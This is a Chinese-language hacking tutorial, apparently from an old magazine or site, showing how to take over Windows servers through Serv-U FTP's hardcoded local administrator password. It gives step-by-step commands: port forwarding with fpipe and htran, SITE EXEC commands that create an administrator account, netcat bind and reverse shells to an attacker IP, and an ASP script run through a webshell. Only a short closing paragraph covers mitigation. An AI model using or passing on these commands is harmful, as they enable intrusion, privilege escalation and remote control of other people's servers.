原理:Serv-u默认监听127.0.0.1:43958,在本机才能连接这个管理端口,Serv-u默认管理账号是LocalAdministrator,默认密码是"#l@$ak#.lk;0@P",这个密码是固定的。在目标机器上运行fpipe -v -l 12345 -r 43958 127.0.0.1,然后在你自己的机器,用"Serv-u administrator"新建SERVER。
目标IP:12345 ;User:LocalAdministrator ;Pass:l@$ak#.lk;0@P
那么目标机器的Serv-u就归你管了。
利用的前提:要有目标机器的普通权限的SHELL,不需要能终端或物理控制台登录,只要有个shell,能运行端口数据转发的程序就可以了
如何得到一个shell:sql注射得到webshell或者直接利用动网7.0 sp2以下的上传漏洞上传webshell
具体实施方法:
1.利用得到的webshell上传转向程序fpipe,然后执行fpipe -v -l 12345 -r 43958 127.0.0.1
2 .在你自己的机器,用"Serv-u administrator"新建SERVER,依次填入
ip:目标IP
端口:12345
User:LocalAdministrator
Pass:#l@$ak#.lk;0@P
现在你就可以管理这台服务器的Serv-u了,新建一个账号,权限为系统管理员(system administrator),并在"目录访问(Dir access)"选项中给予"执行"权限(execute).
3. ftp连接,然后执行quote site exec net user iisuser password /add
添加一个用户名为iisuser密码为password的用户,加到管理员组 quote site exec net localgroup administrators iisuser /add,现在就可以连接终端并登录了。
当然也可以进行别的操作,例如上传一个nc.exe,在目标机器上得到一个管理员权限的shell,可以正向连接,也可以反向连接。
正向连接:连上ftp以后执行 quote site exec nc.exe -l -p 23 -t -e cmd.exe
这时目标主机就成了一台telnet服务器,你可以telnet上目标服务器的23端口。
反向连接:假设你的IP是202.96.209.168
1.先在自己的机器上运行(你要有一个外部IP):nc -vv -lp 99
2.在目标机器上运行 nc -e cmd.exe 202.96.209.168 99
在你的机器上就会得到一个目标机器的具有管理员权限的shell。如果对方进行了端口过滤或者设置了防火墙的保护(这种保护不限制反弹连接,如果限制的话就要换别的方法呢),可以用TCP SOCKET转发来实现。
打个比方,我的机器为A ,我要测试的机器为 B[不允许正面连接] ,我已经在B上得到呢一个SHELL[只要guest的就行呢] 。我们可以这样连上对方的43958——
I:我在本地监听二个端口23和56
23是等待B来连接的~
56是等待我来连接的~
II:B连接我监听的23,同时转发到本地的43958
这样管道就建好呢~对方的防火墙就拿我们没有办法呢~
此时在本地运行SERV-U新建一个SERVER,IP填上本地的127.0.0.1端口为56,用户名LocalAdministrator,密码#l@$ak#.lk;0@P
具体实施方法:假设你的IP是 202.96.209.168
1.在你自己的机器上运行 htran.exe -listen 23 56
2.此时在本地运行SERV-U新建一个SERVER,IP填上本地的127.0.0.1端口为56,用户名LocalAdministrator,密码#l@$ak#.lk;0@P
3.在目标机器上运行 htran.exe -slave 127.0.0.1 43958 202.96.209.168 23
如果不能在webshell下直接运行,可以写一个asp脚本来执行,内容如下
connect.asp
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
oScript.Run (server.mappath("htran")&" -slave 127.0.0.1 43958 202.96.209.168 23 ")
%>
执行http://目标网址/connect.asp,如果出来一片空白,没提示什么错误,现在你应该可以管理目标服务器的Serv-u了。余下的事情就看您自由发挥了。
防止方法:
自己给Serv-u打补丁,改变默认端口及管理密码。改密码要修改ServUAdmin.exe,ServUDaemon.exe这两个文件,改端口只要在ServUDaemon.ini文件[GLOBAL]选项中加入LocalSetupPortNo=12345即可。很遗憾,在Serv-u的最新版本Serv-u 5.2.0.0中依然没有任何改变,默认的管理端口及密码还是原来的。
(责任编辑:铭铭 mingming_ky#126.com TEL:(010)-68476636)